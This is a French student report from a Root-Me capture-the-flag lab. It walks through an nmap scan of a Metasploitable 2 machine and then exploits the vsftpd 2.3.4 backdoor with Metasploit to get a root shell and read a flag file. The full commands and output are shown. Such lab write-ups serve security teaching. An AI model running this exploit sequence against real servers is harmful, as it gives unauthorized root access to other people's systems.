Projet ISO-03

YDays - Séance 4

Delbende Thomas 16/12/2020

Capture The Flag sur [Root-Me.org]

Pour cette séance des YDays, nous avons recommencé les tests de pénétration sur le site root-me. Nous avons sélectionné la machine Metasploitable 2, puis nous avons commencé la partie.

Objectif

Pour ce *Capture The Flag*, notre objectif était d'arriver à lire le contenu d'un certain fichier sur la machine (path: */passwd*).

Commande nmap

Pour commencer, nous avons d'abord effectué un *nmap* sur l'adresse IP de la machine:

```
maxi@zbox:~$ sudo nmap -sS -A ctf21.root-me.org
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-16 11:41 CET
Nmap scan report for ctf21.root-me.org (163.172.228.138)
Host is up (0.053s latency).
Not shown: 977 closed ports
PORT     STATE    SERVICE      VERSION
21/tcp   open     ftp          vsftpd 2.3.4
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: PASV IP 10.66.21.100 is not the same as 163.172.228.138
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 78.221.188.202
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp   open     ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open     telnet       Linux telnetd
25/tcp   filtered smtp
53/tcp   open     domain       ISC BIND 9.4.2
| dns-nsid:
|_  bind.version: 9.4.2
80/tcp   open     http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
```

La commande *nmap* permet de savoir quels sont les ports ouverts de la machine. Elle renseigne également quel service se trouve sur chaque port, ce qui nous permet de planifier le type de faille dont nous allons nous servir par la suite.

Metasploit

Nous avons donc démarré le logiciel Metasploit, et après avoir entré la commande *search* avec le nom du service possédant la faille que nous voulions exploiter, on obtient le résultat suivant:

```
msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
```

Après avoir sélectionné le module n°0, nous avons définit l'adresse de la machine à laquelle nous voulions nous attaquer:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS ctf21.root-me.org
RHOSTS => ctf21.root-me.org
```

Voici donc les options que nous avons rentré:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting    Required  Description
   ----    ---------------    --------  -----------
   RHOSTS  ctf21.root-me.org  yes       The target host(s), range CIDR identifier
   RPORT   21                 yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Enfin, nous avons lancé la commande *exploit*, qui lance la phase de “pénétration” de la machine:

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 163.172.228.138:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 163.172.228.138:21 - USER: 331 Please specify the password.
[+] 163.172.228.138:21 - Backdoor service has been spawned, handling...
[+] 163.172.228.138:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (0.0.0.0:0 -> 163.172.228.138:6200) at 2020-12-16 11:03:04 +0100
```

Nous avons désormais une connexion SSH à la machine. Nous pouvons donc y entrer des commandes, telles que *ls*:

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
passwd
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
head passwd
75a3bd1be170f224dcbf51e97424cdc3
```

Nous pouvons voir que le fichier passwd est bien présent, nous avons donc la possibilité d’en lire le contenu, par exemple avec la commande *head*.

Conclusion:

Nous avons donc réussi à obtenir le *flag*, dans notre cas il s'agissait de "*75a3bd1be170f224dcbf51e9742cdc3*".

Nous pouvons déduire de cette journée que l'utilisation d'un logiciel tel que *Metasploit* est très intéressante, et permet un gain de temps considérable.